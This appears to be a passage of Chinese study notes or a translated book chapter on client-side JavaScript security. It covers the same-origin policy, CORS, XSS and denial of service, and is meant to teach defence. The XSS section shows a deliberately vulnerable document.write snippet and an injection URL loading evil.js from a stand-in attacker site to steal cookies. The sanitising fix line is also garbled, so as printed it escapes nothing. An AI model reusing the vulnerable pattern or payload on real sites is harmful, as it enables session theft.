类似的,客户端javascript没有任何通用的网络能力。 客户端javascript程序可以对HTTP协议编程(参见18章);并且html5有一个附属标准叫webSockes,定义一个类套接字API,用于和指定的服务器通信。但是这些API都不允许对于范围更广的网络进行直接访问。通用的Iternet客户端和服务器不能同时使用客户端javascript来写(这里的提示很重要,我们不能基于浏览器写出一个“服务器”,网络中的浏览器和浏览器之间无法直接通信。)
浏览器征对恶意代码的第二条防线就是在自己支持某些功能上添加限制,以下是一些功能限制:
- javascript程序可以打开一个新的浏览器窗口,但是为了防止广告商滥用弹出窗口,很多浏览器限制了这一功能,只有为了响应鼠标单击这样用户触发的时候才弹出,才能使用它。
- javascript程序可以关闭自己打开的浏览器窗口,但是不允许不经过用户允许就关闭其他窗口。
- HTML fileupload元素的value属性是只读的。如果可以设置这个属性,脚本就能设置它为任意期望的文件名,从而导致表单上传指定文件。(比如密码文件)内容到服务器。
- 脚本不能从不同的服务器(严格来说,这些服务器来自于不同的域,端口或协议)载入文档的内容,除非这个就是包含脚本的文档。类似地,一个脚本不能来自不同的服务器的文档上注册事件监听。这就防止了脚本窃取其它页面的用户输入(例如组成一个密码项的键盘单击过程),这一项限制叫同源策略,下一节将详细介绍它。
注意这里并未列出所有客户端javascript的限制项,不同浏览器有不同安全策略。并可能实现的API限制。部分浏览器可能还允许根据用户偏好来增强或减弱限制。
6.2.同源策略
同源策略是对javascript代码能够操作那些WEB内容的一条完整的安全限制 。当web页面使用多个<iframe>元素或者打开其它浏览器窗口的时候,这一策略通常就会发挥作用。在这种情况下,同源策略赋值管理窗口或窗体中的javascript代码以及和其它窗口或帧的交互。具体来说,脚本只能读取和所属文档来源相同的窗口和文档的属性(参见14.8节了解如何使用javascript操控多个窗口和窗体)。
文档的来源包含协议、主机,以及载入文档的URL端口。
脚本本身的来源和同源策略并不相关,相关的是脚本所嵌入的文档的来源,理解这一点很重要。例如,一个来自于主机A的脚本被包含到(使用<script>标记的src属性)宿主B的一个web页面中,这个脚本的来源是主机B,并且可以完整的访问包含它的文档的内容。如果脚本打开一个新窗口并载入来自B主句的另一个文档,脚本对这个文档的内容也具有完全访问权限。但是,如果脚本打开第三个窗口并载入一个来自主机C的文档(或者来自主机A),这个同源策略就会发挥作用,阻止这个脚本访问这个文档。
实际上,同源策略并非应用不同源的窗口中所有对象的所有属性。不过它应用到了其中大多数属性,尤其是对Document对象的几乎所有属性而言。凡是包含另一个服务器中文档的窗口或窗体,都是同源策略的适用范围。如果脚本打开一个窗口,脚本也可以关闭它。但不能以任何方式查看窗口内部。同源策略还应用于XMLHttpRequests生成的HTTP请求(18章)。这个对象允许客户端javascript生成任意的HTTP请求到脚本所属文档的web服务器。但是不允许脚本和其他web服务器通信。
对于防止脚本窃取有效的信息来说,同源策略是必须的。如果没有这个限制。恶意脚本(通过防火墙载入到安全的公司内网的浏览器)可能会打开一个空的窗口,欺骗用户进入并使用这个窗口在网上浏览文件 。恶意脚本能够读取窗口的内容并将其发送回自己的服务器。同源策略防止了这种行为。
不严格的同源策略
在某些情况下,同源策略就显得稍微严格,本节会介绍三种不严格的同源策略。
同源策略给那行使用多个子域的大站带来了一些问题,例如来自home.example.com的文档里的脚本想要合法的从develpoer.example.com读取文档的属性。为了支持这种类型多域名站点,可以使用Document对象的domain属性。在默认的情况下,domain属性存放的是载入文档的服务器的主机名。可以设置这一属性为example.com。
如果两个窗口(或窗体)包含的脚本把domain设置成了相同的值,那么这两个窗口就不再受同源策略的约束。他们可相互读取对象的属性。例如,从home.example.com和develpoer.example.com载入的文档的脚本可以把他们的document.domain属性都设置为example.com,这样一来,这些文档就有了同源性,可以相互读取属性。
不严格同源的第二项技术已经标准化为:跨域资源共享(Cross-Origin Resource Sharing,参见http://www.w3.org/TR/cors/)。这个标准草案使用新的“Origin:”请求头和新的Access-Control-Allow-Origin响应头来扩展HTTP。它允许服务器用头信息显式地列出源,或使用通配符来匹配所有的源并允许任何地址请求文件。使用这种新的头信息来允许跨域HTTP请求,这样XMLHttpRequest就不会被同源策略所限制了。
另外一种新的技术,跨文档消息(cross - document messagin),允许来自一个文档的脚本可以传递文本消息到另一个文档的脚本,而不管脚本的来源是否不同。调用window对象上的 postMessage()方法,可以异步传递消息事件(可用onmessage事件句处理程序函数来处理它)到窗口文档里。一个文档里的脚本还是不能调用在其他文档里的方法和读取属性。但它们可以用这些消息传递技术来实现安全的通信(22章3节有跟多关于跨文档消息api的细节)。
6.3.脚本化插件和ActiveX控件
尽管核心JavaScript语言和基本的客户端对象模型缺乏大多数恶意代码所需要的文件系统功能和网络功能,但情况也并不像看上去那么简单。在很多Web浏览器中,JavaScript用作针对其他软件组件的“脚本引擎”,这样的组件如IE中的ActiveX控件和其他浏览器的插件。这为客户端脚本提供了重要的和强大的功能。
脚本化ActiveX控件和插件的能力也有着安全性的含义。例如,Java applet具有访问低端的网络能力。Java安全性“沙箱”阻止applet和载入它的服务器以外的任何服务器通信,因此,这并未打开一个安全漏洞。但是,它暴露了一个根本的问题:如果插件是可以脚本化的,我们不仅要无条件相信Web浏览器的安全架构,还要相信插件的安全架构。实际上,Java和Flash插件看上去具有健壮的安全性,并且不会为客户端JavaScript引来安全问题。然而,ActiveX脚本化有着更加糟糕的历史遗留问题。IE浏览器已经能够访问各种各样的脚本化ActiveX控件,而这些控件是Windows操作系统的一部分,并且在过去,操作系统还存在很多可被控件利用的安全漏洞。
6.4.跨站脚本
跨站脚本(cross-site scrpting),或者胶XSS,这个术语表示一类安全问题,也就是攻击者向目标web站点注入HTML标签或者脚本。防止XSS攻击是服务器端WEB开发者的一项基本规则。然而,客户端javascript程序员也必须意识到或者能够预防跨站脚本。
如果web页面动态产生文档内容,并且这些文档内容是基于用户提交的数据的,而并没有通过从中移除任何嵌入的html标签来“消毒”的话,这个页面就很容易遭到跨站脚本的攻击。来看一个小例子,考虑如下的web页面,它使用javascript通过用户名字像用户说问好。
var name =decodeURIComponent(window.location.search.substring(1)) ||"";
document.write("hello " + name)
这两行脚本使用window.location.search来获得它们自己的URL中以?开始的部分。它使用document.write()来向文档添加动态生成的内容。这个页面专门通过如下的一个URL来调用:
http://www.example.com/greet.html?David
这么使用的时候,它会显示文本“Hello David”。但考虑一下,当用下面的URL来调用它的时候,会发生什么情况:
http://www.example.com/greet.html?%3Cscript%3Ealert(‘David’)%3C/script%3E
只用这个URL,脚本会动态地生成另一个脚本(%3C和%3E是一个尖括号的编码,即<script>alert('David')<script>)。在这个例子中,注入的脚本只是显示一个对话框,这还是相对较好的情况。但是,考虑如下的情况:
http://siteA/greet.html?name=%3Cscriptsrc=siteB/evil.js%3E%3C/script%3E
之所以叫做跨站脚本攻击,是因为它涉及到多个站点。站点B(或者站点C)包含一个专门构造的到站点A的链接(就像上面的那个),它会注入一个来自站点B的脚本。脚本evil.js驻留在恶意站点B,但现在,它嵌入到站点A中,并且可以对站点A的内容进行任何想要的操作。它可能损坏这个页面或者使其不能正常工作(例如,启动下一节所要介绍的拒绝服务攻击)。这可能会对站点A的客户关系有害。更危险的是,恶意脚本可以读取站点A所存储的cookie(可能是计数或者是其他的个人验证信息),然后把数据发送回站点B。注入的脚本甚至可以诱骗用户击键并将数据发送回站点B。
通常,防止XSS攻击的方式是,在使用任何不可信的数据来动态的创建文档内容之前,从中移除HTML标记。可以通过添加如下的一行代码来移除<script>标记两边的尖括号,从而来修复前面给出的greet.html文件。
name = name.replace(/</g, “<”).replace(/>/g, “>”);
上面简单代码把字符串中所有的尖括号替换成他们对应的HTML实体,也就是说将字符串中任意HTML标签进行转义和过滤删除处理。IE8定义了一个更加微妙的toStaticHTML()方法,可以移除<script>标签(和其它潜在的可执行内容)而不修改不可执行的HTML。toStaticHTML()是不标准的,但在javascript核心代码中自己实现一个HTML安全函数也非常简单。
HTML5的内容安全策略则更进一步,它为<iframe>元素定义了一个sandbox。在实现之后,它允许显示不可信的内容,并自动禁用脚本。
跨站脚本使有害的漏洞能够立足于web构架之中,深入理解这些跨站脚本是值得的。很多在线资源可以参考http://www/cert.org/advisories/CA-2000-02.html。
6.5.拒绝服务攻击
这里描述的同源策略和其他的安全限制对于预防恶意代码毁坏数据或者侵犯隐私做了很好的工作。然而,它们并不能防止一种非常暴力的攻击:拒绝服务攻击。如果访问了带有JavaScript功能的一个恶意Web站点,这个站点可以使用一个alert()对话框的无限循环占用浏览器,或者用一个无限循环或者没有意义的计算来占用CPU。
某些浏览器(如Firefox)可以检测运行时间很长的脚本,并且让用户选择终止它们。但恶意脚本可以使用window.setInterval()这样的方法来占用CPU,并通过分配很多的内存来攻击你的系统。web浏览器并没有通用的方法来防止,其实也不常见。
7.客户端框架
一些web开发者基于客户端框架或类库创建它们的web应用非常便捷。从某种意义上来说,类库也是框架。它们对web浏览器提供的标准和专用的API进行了封装,向上提供更高级的API。
使用框架的好处就是可以使用更简洁的代码完成更复杂的功能,此外,完善的框架也会帮我们处理很多兼容性、安全性和可访问性的问题。
19章会介绍jQuery,它是当前最流行的框架之一。理解底层的API会帮助你称为更优秀的web开发者。虽说使用他们后很少使用原生的API。
除了jQuery外,还有很多优秀的javascript框架,其中有些框架非常有名,并且广泛使用。例如:Prototype、Dojo、YUI、Closure、GWT